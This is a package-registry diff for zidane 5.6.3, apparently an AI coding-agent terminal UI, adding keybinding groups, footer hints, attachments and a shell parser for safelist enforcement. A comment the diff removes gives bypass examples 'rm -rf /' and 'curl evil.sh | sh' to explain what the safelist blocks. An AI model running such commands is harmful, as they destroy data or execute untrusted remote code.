zidane 5.6.0 → 5.6.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (50) hide show
  1. package/dist/{agent-B26FuGew.d.ts → agent-D70rr6Uk.d.ts} +20 -1
  2. package/dist/agent-D70rr6Uk.d.ts.map +1 -0
  3. package/dist/chat.d.ts +112 -11
  4. package/dist/chat.d.ts.map +1 -1
  5. package/dist/chat.js +3 -3
  6. package/dist/{index-CE7z_11T.d.ts → index-BjwwNjQd.d.ts} +9 -4
  7. package/dist/{index-CE7z_11T.d.ts.map → index-BjwwNjQd.d.ts.map} +1 -1
  8. package/dist/{index-CROWxXo9.d.ts → index-DKpXHp1c.d.ts} +2 -2
  9. package/dist/index-DKpXHp1c.d.ts.map +1 -0
  10. package/dist/index.d.ts +3 -3
  11. package/dist/index.js +4 -4
  12. package/dist/{interpolate-j5V-wcAQ.js → interpolate-DM1UcKeQ.js} +27 -4
  13. package/dist/{interpolate-j5V-wcAQ.js.map → interpolate-DM1UcKeQ.js.map} +1 -1
  14. package/dist/{login-D5lQWoFx.js → login-YckkS-Bq.js} +4 -3
  15. package/dist/login-YckkS-Bq.js.map +1 -0
  16. package/dist/mcp.d.ts +1 -1
  17. package/dist/{presets-BDCthpyD.js → presets-ZT3TJDEb.js} +2 -2
  18. package/dist/{presets-BDCthpyD.js.map → presets-ZT3TJDEb.js.map} +1 -1
  19. package/dist/presets.d.ts +2 -2
  20. package/dist/presets.js +1 -1
  21. package/dist/providers.d.ts +1 -1
  22. package/dist/restate.d.ts +24 -2
  23. package/dist/restate.d.ts.map +1 -1
  24. package/dist/session/sqlite.d.ts +1 -1
  25. package/dist/session.d.ts +1 -1
  26. package/dist/skills.d.ts +2 -2
  27. package/dist/skills.js +1 -1
  28. package/dist/{tools-Co3VYhgM.js → tools-Bgx8OBqK.js} +4 -3
  29. package/dist/tools-Bgx8OBqK.js.map +1 -0
  30. package/dist/tools.d.ts +2 -2
  31. package/dist/tools.js +1 -1
  32. package/dist/{transcript-anchors-CTTeQJzy.d.ts → transcript-anchors-CtSVZeBi.d.ts} +74 -5
  33. package/dist/transcript-anchors-CtSVZeBi.d.ts.map +1 -0
  34. package/dist/tui.d.ts +24 -5
  35. package/dist/tui.d.ts.map +1 -1
  36. package/dist/tui.js +851 -253
  37. package/dist/tui.js.map +1 -1
  38. package/dist/{turn-operations-fhinWY4m.js → turn-operations-CH7rnULP.js} +573 -80
  39. package/dist/turn-operations-CH7rnULP.js.map +1 -0
  40. package/dist/types-oKPBdCmL.js.map +1 -1
  41. package/dist/types.d.ts +2 -2
  42. package/docs/RESTATE.md +16 -0
  43. package/docs/TUI.md +1 -0
  44. package/package.json +2 -1
  45. package/dist/agent-B26FuGew.d.ts.map +0 -1
  46. package/dist/index-CROWxXo9.d.ts.map +0 -1
  47. package/dist/login-D5lQWoFx.js.map +0 -1
  48. package/dist/tools-Co3VYhgM.js.map +0 -1
  49. package/dist/transcript-anchors-CTTeQJzy.d.ts.map +0 -1
  50. package/dist/turn-operations-fhinWY4m.js.map +0 -1
@@ -1,10 +1,10 @@
1
- import { H as previewLine, R as fmtTokens, U as shortId, a as multiEdit, c as grep, d as resolveOldString, f as styleReplacementForVia, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, t as writeFile$1, u as edit, y as shell } from "./tools-Co3VYhgM.js";
1
+ import { H as previewLine, R as fmtTokens, U as shortId, a as multiEdit, c as grep, d as resolveOldString, f as styleReplacementForVia, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, t as writeFile$1, u as edit, y as shell } from "./tools-Bgx8OBqK.js";
2
2
  import { c as errorMessage } from "./errors-DdZXnyXE.js";
3
3
  import { r as toolResultToText } from "./types-oKPBdCmL.js";
4
4
  import { r as normalizeMcpServers } from "./mcp-ngMS0S6N.js";
5
- import { a as discoverSkills } from "./interpolate-j5V-wcAQ.js";
5
+ import { a as discoverSkills } from "./interpolate-DM1UcKeQ.js";
6
6
  import { n as formatTokenUsage } from "./stats-Lc3zL3RM.js";
7
- import { n as definePreset, t as composePresets } from "./presets-BDCthpyD.js";
7
+ import { n as definePreset, t as composePresets } from "./presets-ZT3TJDEb.js";
8
8
  import { a as writeFileAtomic, i as anthropic, n as openai, r as cerebras, t as openrouter } from "./providers-CaJE2ToS.js";
9
9
  import { createRequire } from "node:module";
10
10
  import { dirname, isAbsolute, join, posix, relative, resolve, sep } from "node:path";
@@ -12,6 +12,7 @@ import { homedir, tmpdir } from "node:os";
12
12
  import { spawn } from "node:child_process";
13
13
  import { chmodSync, createReadStream, createWriteStream, existsSync, mkdirSync, mkdtempSync, readFileSync, realpathSync, renameSync, rmSync, statSync, writeFileSync } from "node:fs";
14
14
  import { readdir, stat, writeFile } from "node:fs/promises";
15
+ import { Buffer as Buffer$1 } from "node:buffer";
15
16
  import { getModel, getModels } from "@mariozechner/pi-ai";
16
17
  import { anthropicOAuthProvider, openaiCodexOAuthProvider } from "@mariozechner/pi-ai/oauth";
17
18
  import { createHash } from "node:crypto";
@@ -2961,127 +2962,162 @@ const KEYBINDING_DEFS = [
2961
2962
  action: "openSettings",
2962
2963
  default: "ctrl+o",
2963
2964
  label: "settings",
2964
- description: "open the Settings modal (toggles, theme, keybindings)"
2965
+ description: "open the Settings modal (toggles, theme, keybindings)",
2966
+ group: "Global"
2965
2967
  },
2966
2968
  {
2967
2969
  action: "openSessionDetails",
2968
2970
  default: "ctrl+x",
2969
2971
  label: "session",
2970
- description: "open the session details modal (stats, export, delete, rename)"
2972
+ description: "open the session details modal (stats, export, delete, rename)",
2973
+ group: "Global"
2971
2974
  },
2972
2975
  {
2973
2976
  action: "openModelPicker",
2974
2977
  default: "ctrl+m",
2975
2978
  label: "model",
2976
- description: "open the cross-provider model picker"
2979
+ description: "open the cross-provider model picker",
2980
+ group: "Global"
2977
2981
  },
2978
2982
  {
2979
2983
  action: "openEffortPicker",
2980
2984
  default: "ctrl+l",
2981
2985
  label: "effort",
2982
- description: "open the reasoning-effort picker (when the active model supports it)"
2986
+ description: "open the reasoning-effort picker (when the active model supports it)",
2987
+ group: "Global"
2983
2988
  },
2984
2989
  {
2985
2990
  action: "openTodos",
2986
2991
  default: "ctrl+t",
2987
2992
  label: "todos",
2988
- description: "open the active run's todo list (the agent's `todowrite` checkpoints)"
2993
+ description: "open the active run's todo list (the agent's `todowrite` checkpoints)",
2994
+ group: "Global"
2995
+ },
2996
+ {
2997
+ action: "openKeybindings",
2998
+ default: "ctrl+y",
2999
+ label: "keybindings",
3000
+ description: "open the keybindings panel — list every shortcut and jump to the keybindings.json file",
3001
+ group: "Global"
2989
3002
  },
2990
3003
  {
2991
3004
  action: "cycleAgent",
2992
3005
  default: "shift+tab",
2993
3006
  label: "cycle agent",
2994
- description: "cycle to the next agent profile (when multiple profiles are registered)"
3007
+ description: "cycle to the next agent profile (when multiple profiles are registered)",
3008
+ group: "Global"
2995
3009
  },
2996
3010
  {
2997
3011
  action: "enterSelectTurnMode",
2998
3012
  default: "ctrl+s",
2999
3013
  label: "messages",
3000
- description: "enter select-turn mode to navigate previous messages"
3014
+ description: "enter select-turn mode to navigate previous messages",
3015
+ group: "Global"
3001
3016
  },
3002
3017
  {
3003
3018
  action: "cancelToolCall",
3004
3019
  default: "ctrl+k",
3005
3020
  label: "cancel tool",
3006
- description: "open the in-flight tool picker to cancel a single tool call without aborting the run (esc still aborts the whole run)"
3021
+ description: "open the in-flight tool picker to cancel a single tool call without aborting the run (esc still aborts the whole run)",
3022
+ group: "Global"
3023
+ },
3024
+ {
3025
+ action: "changeCwd",
3026
+ default: "ctrl+g",
3027
+ label: "cwd",
3028
+ description: "open the directory picker to change the working directory",
3029
+ group: "Global"
3007
3030
  },
3008
3031
  {
3009
3032
  action: "enterQueueSelection",
3010
3033
  default: "",
3011
3034
  label: "select queue",
3012
- description: "move focus from the prompt textarea into the type-ahead queue box (also: ↑ on an empty prompt)"
3035
+ description: "move focus from the prompt textarea into the type-ahead queue box (also: ↑ on an empty prompt)",
3036
+ group: "Message queue"
3013
3037
  },
3014
3038
  {
3015
3039
  action: "pushQueuedMessage",
3016
3040
  default: "ctrl+return",
3017
3041
  label: "push",
3018
- description: "steer the selected queued message into the live run (delivered between tool calls)"
3042
+ description: "steer the selected queued message into the live run (delivered between tool calls)",
3043
+ group: "Message queue"
3019
3044
  },
3020
3045
  {
3021
3046
  action: "dropQueuedMessage",
3022
3047
  default: "backspace",
3023
3048
  label: "drop",
3024
- description: "remove the selected queued message — exits back to the prompt when the queue empties (the big \"remove\" key works everywhere: backspace on Win/Linux, the laptop key labeled \"delete\" on Mac, which sends backspace)"
3049
+ description: "remove the selected queued message — exits back to the prompt when the queue empties (the big \"remove\" key works everywhere: backspace on Win/Linux, the laptop key labeled \"delete\" on Mac, which sends backspace)",
3050
+ group: "Message queue"
3025
3051
  },
3026
3052
  {
3027
3053
  action: "turnFork",
3028
3054
  default: "f",
3029
3055
  label: "fork",
3030
- description: "fork the session at the selected turn (two-press confirm)"
3056
+ description: "fork the session at the selected turn (two-press confirm)",
3057
+ group: "Turn details"
3031
3058
  },
3032
3059
  {
3033
3060
  action: "turnDelete",
3034
3061
  default: "d",
3035
3062
  label: "delete",
3036
- description: "delete the selected turn (two-press confirm)"
3063
+ description: "delete the selected turn (two-press confirm)",
3064
+ group: "Turn details"
3037
3065
  },
3038
3066
  {
3039
3067
  action: "turnCopy",
3040
3068
  default: "c",
3041
3069
  label: "copy",
3042
- description: "copy the selected turn content to the clipboard (OSC 52)"
3070
+ description: "copy the selected turn content to the clipboard (OSC 52)",
3071
+ group: "Turn details"
3043
3072
  },
3044
3073
  {
3045
3074
  action: "turnEdit",
3046
3075
  default: "e",
3047
3076
  label: "edit",
3048
- description: "edit the text content of the selected turn"
3077
+ description: "edit the text content of the selected turn",
3078
+ group: "Turn details"
3049
3079
  },
3050
3080
  {
3051
3081
  action: "sessionDelete",
3052
3082
  default: "d",
3053
3083
  label: "delete",
3054
- description: "delete the entire session (two-press confirm)"
3084
+ description: "delete the entire session (two-press confirm)",
3085
+ group: "Session details"
3055
3086
  },
3056
3087
  {
3057
3088
  action: "sessionCopyId",
3058
3089
  default: "c",
3059
3090
  label: "copy id",
3060
- description: "copy the full session id to the clipboard (OSC 52)"
3091
+ description: "copy the full session id to the clipboard (OSC 52)",
3092
+ group: "Session details"
3061
3093
  },
3062
3094
  {
3063
3095
  action: "sessionGenerateTitle",
3064
3096
  default: "g",
3065
3097
  label: "generate title",
3066
- description: "generate a title for the session via the active provider/model"
3098
+ description: "generate a title for the session via the active provider/model",
3099
+ group: "Session details"
3067
3100
  },
3068
3101
  {
3069
3102
  action: "sessionExportMarkdown",
3070
3103
  default: "e",
3071
3104
  label: "export md",
3072
- description: "export the session as Markdown under .{prefix}/sessions/"
3105
+ description: "export the session as Markdown under .{prefix}/sessions/",
3106
+ group: "Session details"
3073
3107
  },
3074
3108
  {
3075
3109
  action: "sessionExportJson",
3076
3110
  default: "j",
3077
3111
  label: "export json",
3078
- description: "export the session as JSON under .{prefix}/sessions/"
3112
+ description: "export the session as JSON under .{prefix}/sessions/",
3113
+ group: "Session details"
3079
3114
  },
3080
3115
  {
3081
3116
  action: "sessionCompact",
3082
3117
  default: "k",
3083
3118
  label: "compact",
3084
- description: "compact older turns via an LLM summary (model still sees everything from the boundary down)"
3119
+ description: "compact older turns via an LLM summary (model still sees everything from the boundary down)",
3120
+ group: "Session details"
3085
3121
  }
3086
3122
  ];
3087
3123
  /** Index by action for O(1) lookup of label / description / default. */
@@ -3181,6 +3217,39 @@ function matchesBinding(event, spec) {
3181
3217
  if ((event.name ?? "").toLowerCase() !== parsed.name) return false;
3182
3218
  return true;
3183
3219
  }
3220
+ /** Verbose key names → compact single-cell glyphs used by hint rows. */
3221
+ const KEY_GLYPHS = {
3222
+ up: "↑",
3223
+ down: "↓",
3224
+ left: "←",
3225
+ right: "→",
3226
+ return: "↵",
3227
+ enter: "↵",
3228
+ delete: "⌫",
3229
+ backspace: "⌫",
3230
+ escape: "esc",
3231
+ space: "␣",
3232
+ tab: "⇥"
3233
+ };
3234
+ /**
3235
+ * Render a binding spec (`"ctrl+return"`, `"backspace"`, `"delete"`) as a
3236
+ * compact display string the user recognizes at a glance. Substitutes
3237
+ * arrow / enter / backspace glyphs for their verbose names so the hint
3238
+ * row stays narrow; modifier names + plain keys pass through unchanged.
3239
+ *
3240
+ * Empty / missing specs return an empty string — callers decide whether
3241
+ * to render a placeholder (e.g. `'—'` for an unbound action in the
3242
+ * keybindings panel) or hide the surface entirely (e.g. hint rows that
3243
+ * fall back to a different chord when the binding is empty).
3244
+ */
3245
+ function formatBindingForDisplay(spec) {
3246
+ if (!spec) return "";
3247
+ const segments = spec.toLowerCase().split("+");
3248
+ const key = segments.pop() ?? "";
3249
+ const modifiers = segments.join("+");
3250
+ const glyph = KEY_GLYPHS[key] ?? key;
3251
+ return modifiers ? `${modifiers}+${glyph}` : glyph;
3252
+ }
3184
3253
  /**
3185
3254
  * Merge a partial map of user overrides into the defaults. Unknown
3186
3255
  * action keys are dropped (a future TUI version may have retired the
@@ -4300,10 +4369,27 @@ function eventsFromTurns(turns, runs = []) {
4300
4369
  kind: "separator",
4301
4370
  text: ""
4302
4371
  });
4372
+ const attachments = [];
4373
+ for (const sibling of turn.content) if (sibling.type === "image") {
4374
+ const raw = typeof sibling.data === "string" ? Buffer$1.from(sibling.data, "base64") : sibling.data;
4375
+ attachments.push({
4376
+ name: sibling.name ?? "image",
4377
+ mediaType: sibling.mediaType,
4378
+ size: raw.length
4379
+ });
4380
+ } else if (sibling !== block && sibling.type === "text") {
4381
+ const m = sibling.text.match(/^<attachment\s+(?:name="([^"]+)"\s*)?(?:media_type="([^"]+)")?/);
4382
+ if (m) attachments.push({
4383
+ name: m[1] ?? "attachment",
4384
+ mediaType: m[2] ?? "text/plain",
4385
+ size: sibling.text.length
4386
+ });
4387
+ }
4303
4388
  events.push({
4304
4389
  kind: "user-prompt",
4305
4390
  text: block.text,
4306
- turnId: turn.id
4391
+ turnId: turn.id,
4392
+ ...attachments.length > 0 ? { attachments } : {}
4307
4393
  });
4308
4394
  }
4309
4395
  } else if (block.type === "tool_result") {
@@ -5948,7 +6034,8 @@ const DEFAULT_SETTINGS = {
5948
6034
  smoothStreaming: true,
5949
6035
  showTodoIndicator: true,
5950
6036
  showThrobber: false,
5951
- checkForUpdates: true
6037
+ checkForUpdates: true,
6038
+ uiMode: "full"
5952
6039
  };
5953
6040
  /**
5954
6041
  * Hard-clamp a `targetFps` value to a safe range before handing it to
@@ -6144,6 +6231,18 @@ const SETTINGS_CHOICES = [
6144
6231
  label: t.label
6145
6232
  }))
6146
6233
  },
6234
+ {
6235
+ key: "uiMode",
6236
+ label: "UI mode",
6237
+ description: "chat-screen chrome density — full advertises every shortcut, minimal keeps only agent / model / keybindings + `@` · `/` triggers (rest reachable via `ctrl+y`)",
6238
+ options: [{
6239
+ value: "full",
6240
+ label: "Full"
6241
+ }, {
6242
+ value: "minimal",
6243
+ label: "Minimal"
6244
+ }]
6245
+ },
6147
6246
  {
6148
6247
  key: "targetFps",
6149
6248
  label: "Renderer fps",
@@ -6411,6 +6510,177 @@ function toEntries(paths, source, maxFiles) {
6411
6510
  return out;
6412
6511
  }
6413
6512
  //#endregion
6513
+ //#region src/chat/footer-hints.ts
6514
+ /**
6515
+ * Build the footer's shortcut hints for the current screen. On the chat
6516
+ * screen the model id rides next to its `ctrl+m` shortcut and the agent
6517
+ * label rides next to `shift+tab`, each in its accent color — the bar
6518
+ * doubles as the status display without needing separate badges. When
6519
+ * the active model exposes reasoning, the `ctrl+m` hint grows a
6520
+ * secondary `/n` chord with the current effort label, surfacing the
6521
+ * effort picker as a discoverable, in-place affordance.
6522
+ */
6523
+ function buildHints(options) {
6524
+ const { screen, busy, pending, pendingInteractionLive, pendingInteractionResumed, currentSession, hasMultipleAgents, uiMode, modelLabel, modelColor, effortLabel, effortColor, effortKeyColor, agentLabel, agentColor, keybindings, inFlightToolCount, activeSkillCount, skillsChipColor, updateHint } = options;
6525
+ if (pending) return [
6526
+ {
6527
+ key: "↑↓",
6528
+ label: "navigate"
6529
+ },
6530
+ {
6531
+ key: "↵",
6532
+ label: "select"
6533
+ },
6534
+ {
6535
+ key: "esc",
6536
+ label: "abort run"
6537
+ }
6538
+ ];
6539
+ if (pendingInteractionLive) return [
6540
+ {
6541
+ key: "↑↓",
6542
+ label: "navigate"
6543
+ },
6544
+ {
6545
+ key: "↵",
6546
+ label: "select"
6547
+ },
6548
+ {
6549
+ key: "esc",
6550
+ label: "abort run"
6551
+ }
6552
+ ];
6553
+ if (pendingInteractionResumed) return [
6554
+ {
6555
+ key: "↑↓",
6556
+ label: "navigate"
6557
+ },
6558
+ {
6559
+ key: "↵",
6560
+ label: "select"
6561
+ },
6562
+ {
6563
+ key: "esc",
6564
+ label: "leave for later"
6565
+ }
6566
+ ];
6567
+ if (busy) {
6568
+ const baseBusyHints = [];
6569
+ if (inFlightToolCount > 0) baseBusyHints.push({
6570
+ key: keybindings.cancelToolCall,
6571
+ label: inFlightToolCount === 1 ? "cancel" : `cancel (${inFlightToolCount})`
6572
+ });
6573
+ baseBusyHints.push({
6574
+ key: "esc",
6575
+ label: "abort"
6576
+ });
6577
+ return baseBusyHints;
6578
+ }
6579
+ if (screen === "auth") return [
6580
+ {
6581
+ key: "↑↓",
6582
+ label: "navigate"
6583
+ },
6584
+ {
6585
+ key: "↵",
6586
+ label: "select"
6587
+ },
6588
+ {
6589
+ key: "esc",
6590
+ label: "exit"
6591
+ }
6592
+ ];
6593
+ if (screen === "sessions") return [
6594
+ {
6595
+ key: "↑↓",
6596
+ label: "navigate"
6597
+ },
6598
+ {
6599
+ key: "↵",
6600
+ label: "open"
6601
+ },
6602
+ {
6603
+ key: keybindings.openSessionDetails,
6604
+ label: "session"
6605
+ },
6606
+ {
6607
+ key: keybindings.openSettings,
6608
+ label: "settings"
6609
+ },
6610
+ {
6611
+ key: "esc",
6612
+ label: currentSession ? "back" : "exit"
6613
+ }
6614
+ ];
6615
+ const modelHint = modelLabel ? {
6616
+ key: keybindings.openModelPicker,
6617
+ label: modelLabel,
6618
+ labelColor: modelColor,
6619
+ ...effortLabel ? { extra: {
6620
+ key: shortChord(keybindings.openEffortPicker),
6621
+ keyColor: effortKeyColor,
6622
+ label: effortLabel,
6623
+ labelColor: effortColor
6624
+ } } : {}
6625
+ } : null;
6626
+ const skillsChip = activeSkillCount > 0 ? {
6627
+ key: "✦",
6628
+ keyColor: skillsChipColor,
6629
+ label: activeSkillCount === 1 ? "1 skill" : `${activeSkillCount} skills`,
6630
+ labelColor: skillsChipColor
6631
+ } : null;
6632
+ const cancelTaskChip = inFlightToolCount > 0 ? {
6633
+ key: keybindings.cancelToolCall,
6634
+ label: inFlightToolCount === 1 ? "cancel task" : `cancel task (${inFlightToolCount})`
6635
+ } : null;
6636
+ if (uiMode === "minimal") return [
6637
+ ...hasMultipleAgents ? [{
6638
+ key: keybindings.cycleAgent,
6639
+ label: agentLabel,
6640
+ labelColor: agentColor
6641
+ }] : [],
6642
+ ...modelHint ? [modelHint] : [],
6643
+ {
6644
+ key: keybindings.openKeybindings,
6645
+ label: "keybindings"
6646
+ }
6647
+ ];
6648
+ return [
6649
+ ...hasMultipleAgents ? [{
6650
+ key: keybindings.cycleAgent,
6651
+ label: agentLabel,
6652
+ labelColor: agentColor
6653
+ }] : [],
6654
+ ...modelHint ? [modelHint] : [],
6655
+ ...skillsChip ? [skillsChip] : [],
6656
+ ...cancelTaskChip ? [cancelTaskChip] : [],
6657
+ ...currentSession ? [{
6658
+ key: keybindings.openSessionDetails,
6659
+ label: "session"
6660
+ }] : [],
6661
+ {
6662
+ key: keybindings.openSettings,
6663
+ label: "settings"
6664
+ },
6665
+ {
6666
+ key: "esc",
6667
+ label: "sessions"
6668
+ },
6669
+ ...updateHint ? [updateHint] : []
6670
+ ];
6671
+ }
6672
+ /**
6673
+ * Shorten a binding spec for display as a "chord continuation" — the
6674
+ * `/n` after `ctrl+m model` in the chat footer. We only strip the
6675
+ * `ctrl+` prefix so user-customized chords (`alt+n`, `meta+shift+n`)
6676
+ * still render in full. Falls back to the verbatim spec when no
6677
+ * `ctrl+` prefix is found, which keeps the visual contract honest:
6678
+ * the rendered key always matches the bound trigger.
6679
+ */
6680
+ function shortChord(spec) {
6681
+ return spec.startsWith("ctrl+") ? `/${spec.slice(5)}` : spec;
6682
+ }
6683
+ //#endregion
6414
6684
  //#region src/chat/generate-title.ts
6415
6685
  /** Hard cap on the result length. Anything longer is truncated client-side. */
6416
6686
  const TITLE_MAX_CHARS = 60;
@@ -6546,7 +6816,14 @@ function hintsLength(hints) {
6546
6816
  function hintLength(h) {
6547
6817
  return h.key.length + 1 + h.label.length + (h.extra ? h.extra.key.length + 1 + h.extra.label.length : 0);
6548
6818
  }
6549
- /** Stable empty list so callers can compare by reference. */
6819
+ /**
6820
+ * Stable empty list so callers can compare by reference. Exported so
6821
+ * any consumer that needs to feed "no primary hints" into the same
6822
+ * `clipHintsToWidth` / `renderHintSpans` pipeline (e.g. the TUI's
6823
+ * minimal UI mode, where the prompt overlay shows only `@` / `/`
6824
+ * triggers) reuses the same frozen array instead of allocating a new
6825
+ * one each render.
6826
+ */
6550
6827
  const EMPTY_HINTS = Object.freeze([]);
6551
6828
  /**
6552
6829
  * Return the longest prefix of `hints` whose rendered width fits within
@@ -7810,6 +8087,248 @@ function splitPromptSegments(text, refs) {
7810
8087
  return out;
7811
8088
  }
7812
8089
  //#endregion
8090
+ //#region src/chat/shell-parse.ts
8091
+ /**
8092
+ * Lightweight shell command parser for safelist enforcement.
8093
+ *
8094
+ * Extracts the head token (program name) of every command in a bash
8095
+ * command string — including chains (`&&`, `||`, `;`), pipes (`|`),
8096
+ * subshells (`(…)`), and command substitutions (`$(…)` and backticks).
8097
+ *
8098
+ * Handles quoting (`'…'`, `"…"`, `\x`), variable assignments
8099
+ * (`NAME=val`), I/O redirection, and the `!` negation prefix.
8100
+ *
8101
+ * Returns `null` when parsing fails so callers can fall back to
8102
+ * prompting (safe default).
8103
+ */
8104
+ function extractCommandHeads(command) {
8105
+ try {
8106
+ const p = new ShellParser(command);
8107
+ p.list();
8108
+ return p.heads;
8109
+ } catch {
8110
+ return null;
8111
+ }
8112
+ }
8113
+ const META = new Set(" \n\r;|&()<>".split(""));
8114
+ var ShellParser = class ShellParser {
8115
+ s;
8116
+ heads = [];
8117
+ i = 0;
8118
+ constructor(s) {
8119
+ this.s = s;
8120
+ }
8121
+ /** Command list — pipelines separated by `;`, `&&`, `||`, `\n`, `&`. */
8122
+ list(closer) {
8123
+ for (;;) {
8124
+ this.ws();
8125
+ if (this.end(closer)) return;
8126
+ this.pipeline(closer);
8127
+ this.ws();
8128
+ if (this.end(closer)) return;
8129
+ const c = this.c();
8130
+ if (c === ";" || c === "\n" || c === "\r") {
8131
+ this.i++;
8132
+ continue;
8133
+ }
8134
+ if (this.is("&&") || this.is("||")) {
8135
+ this.i += 2;
8136
+ continue;
8137
+ }
8138
+ if (c === "&") {
8139
+ this.i++;
8140
+ continue;
8141
+ }
8142
+ break;
8143
+ }
8144
+ }
8145
+ /** Pipeline — simple commands separated by `|` (not `||`). */
8146
+ pipeline(closer) {
8147
+ this.cmd(closer);
8148
+ for (;;) {
8149
+ this.ws();
8150
+ if (this.c() === "|" && !this.is("||")) {
8151
+ this.i++;
8152
+ this.cmd(closer);
8153
+ } else break;
8154
+ }
8155
+ }
8156
+ /** Simple command — extract head, skip remaining arguments. */
8157
+ cmd(closer) {
8158
+ this.ws();
8159
+ if (this.i >= this.s.length) return;
8160
+ if (closer && this.c() === closer) return;
8161
+ if (this.c() === "(") {
8162
+ this.i++;
8163
+ this.list(")");
8164
+ return;
8165
+ }
8166
+ if (this.c() === "!" && this.i + 1 < this.s.length && (this.s[this.i + 1] === " " || this.s[this.i + 1] === " ")) {
8167
+ this.i++;
8168
+ this.ws();
8169
+ }
8170
+ while (this.i < this.s.length && !this.sep(closer)) {
8171
+ if (this.c() === "(") {
8172
+ this.i++;
8173
+ this.list(")");
8174
+ break;
8175
+ }
8176
+ const w = this.word();
8177
+ if (!w) break;
8178
+ if (isAssignment(w)) {
8179
+ this.ws();
8180
+ continue;
8181
+ }
8182
+ this.heads.push(w);
8183
+ break;
8184
+ }
8185
+ this.tail(closer);
8186
+ }
8187
+ /** Read one shell word, handling quoting and substitutions. */
8188
+ word() {
8189
+ let out = "";
8190
+ while (this.i < this.s.length) {
8191
+ const c = this.c();
8192
+ if (META.has(c)) break;
8193
+ if (c === "\\" && this.i + 1 < this.s.length) {
8194
+ out += this.s[this.i + 1];
8195
+ this.i += 2;
8196
+ continue;
8197
+ }
8198
+ if (c === "'") {
8199
+ this.i++;
8200
+ while (this.i < this.s.length && this.s[this.i] !== "'") out += this.s[this.i++];
8201
+ if (this.i < this.s.length) this.i++;
8202
+ continue;
8203
+ }
8204
+ if (c === "\"") {
8205
+ out += this.dquote();
8206
+ continue;
8207
+ }
8208
+ if (this.is("$(")) {
8209
+ this.i += 2;
8210
+ this.list(")");
8211
+ continue;
8212
+ }
8213
+ if (c === "`") {
8214
+ this.btick();
8215
+ continue;
8216
+ }
8217
+ out += c;
8218
+ this.i++;
8219
+ }
8220
+ return out;
8221
+ }
8222
+ /** Double-quoted string — returns literal chars, recurses into substitutions. */
8223
+ dquote() {
8224
+ this.i++;
8225
+ let out = "";
8226
+ while (this.i < this.s.length && this.s[this.i] !== "\"") {
8227
+ if (this.s[this.i] === "\\" && this.i + 1 < this.s.length) {
8228
+ out += this.s[this.i + 1];
8229
+ this.i += 2;
8230
+ continue;
8231
+ }
8232
+ if (this.is("$(")) {
8233
+ this.i += 2;
8234
+ this.list(")");
8235
+ continue;
8236
+ }
8237
+ if (this.s[this.i] === "`") {
8238
+ this.btick();
8239
+ continue;
8240
+ }
8241
+ out += this.s[this.i++];
8242
+ }
8243
+ if (this.i < this.s.length) this.i++;
8244
+ return out;
8245
+ }
8246
+ /** Backtick substitution — creates a sub-parser for the inner content. */
8247
+ btick() {
8248
+ this.i++;
8249
+ const close = this.s.indexOf("`", this.i);
8250
+ const sub = new ShellParser(close < 0 ? this.s.slice(this.i) : this.s.slice(this.i, close));
8251
+ sub.list();
8252
+ this.heads.push(...sub.heads);
8253
+ this.i = close < 0 ? this.s.length : close + 1;
8254
+ }
8255
+ /** Skip remaining arguments and redirections until the next command boundary. */
8256
+ tail(closer) {
8257
+ while (this.i < this.s.length) {
8258
+ this.ws();
8259
+ if (this.i >= this.s.length || this.sep(closer)) break;
8260
+ if (this.redir()) continue;
8261
+ if (this.c() === "(") {
8262
+ this.i++;
8263
+ this.list(")");
8264
+ continue;
8265
+ }
8266
+ if (!this.word()) break;
8267
+ }
8268
+ }
8269
+ /** Try to consume an I/O redirection operator + target. Returns true if consumed. */
8270
+ redir() {
8271
+ const c = this.c();
8272
+ let yes = c === "<" || c === ">";
8273
+ if (!yes && c >= "0" && c <= "9" && this.i + 1 < this.s.length) {
8274
+ const n = this.s[this.i + 1];
8275
+ yes = n === "<" || n === ">";
8276
+ }
8277
+ if (!yes) return false;
8278
+ while (this.i < this.s.length && this.s[this.i] >= "0" && this.s[this.i] <= "9") this.i++;
8279
+ if (this.c() === ">") {
8280
+ this.i++;
8281
+ if (this.c() === ">") this.i++;
8282
+ if (this.c() === "&") {
8283
+ this.i++;
8284
+ while (this.i < this.s.length && this.s[this.i] >= "0" && this.s[this.i] <= "9") this.i++;
8285
+ return true;
8286
+ }
8287
+ } else if (this.c() === "<") {
8288
+ this.i++;
8289
+ if (this.c() === "<") {
8290
+ this.i++;
8291
+ if (this.c() === "-") this.i++;
8292
+ }
8293
+ }
8294
+ this.ws();
8295
+ this.word();
8296
+ return true;
8297
+ }
8298
+ /** True at a command boundary (`;`, `\n`, `&`, `|`, `)`, or closer). */
8299
+ sep(closer) {
8300
+ const c = this.c();
8301
+ if (c === ";" || c === "\n" || c === "\r" || c === "&" || c === ")") return true;
8302
+ if (c === "|") return true;
8303
+ if (closer && c === closer) return true;
8304
+ return false;
8305
+ }
8306
+ /** True when past end or at closer (closer is consumed). */
8307
+ end(closer) {
8308
+ if (this.i >= this.s.length) return true;
8309
+ if (closer && this.c() === closer) {
8310
+ this.i++;
8311
+ return true;
8312
+ }
8313
+ return false;
8314
+ }
8315
+ c() {
8316
+ return this.s[this.i] ?? "";
8317
+ }
8318
+ is(s) {
8319
+ return this.s.startsWith(s, this.i);
8320
+ }
8321
+ ws() {
8322
+ while (this.i < this.s.length && (this.s[this.i] === " " || this.s[this.i] === " ")) this.i++;
8323
+ }
8324
+ };
8325
+ /** `NAME=…` where NAME is a valid shell identifier. */
8326
+ function isAssignment(w) {
8327
+ const eq = w.indexOf("=");
8328
+ if (eq <= 0) return false;
8329
+ return /^[A-Z_]\w*$/i.test(w.slice(0, eq));
8330
+ }
8331
+ //#endregion
7813
8332
  //#region src/chat/safe-mode.ts
7814
8333
  /**
7815
8334
  * Safe-mode storage + matching for the TUI.
@@ -7935,66 +8454,23 @@ function primaryArgToken(input) {
7935
8454
  return primaryArgValue(input).trim().split(/\s+/)[0] ?? "";
7936
8455
  }
7937
8456
  /**
7938
- * Shell features that introduce a SECOND, UNRELATED command into the
7939
- * pipeline — and would silently bypass a `shell:<head>:*` safelist that
7940
- * the user only meant to cover the head program. We block these
7941
- * specifically:
7942
- *
7943
- * - `;` — sequence operator (`git status; rm -rf /`)
7944
- * - `&&` / `||` — and-/or-chains (`git status && curl evil.sh | sh`)
7945
- * - `\n` / `\r` — multi-line scripts, equivalent to `;`
7946
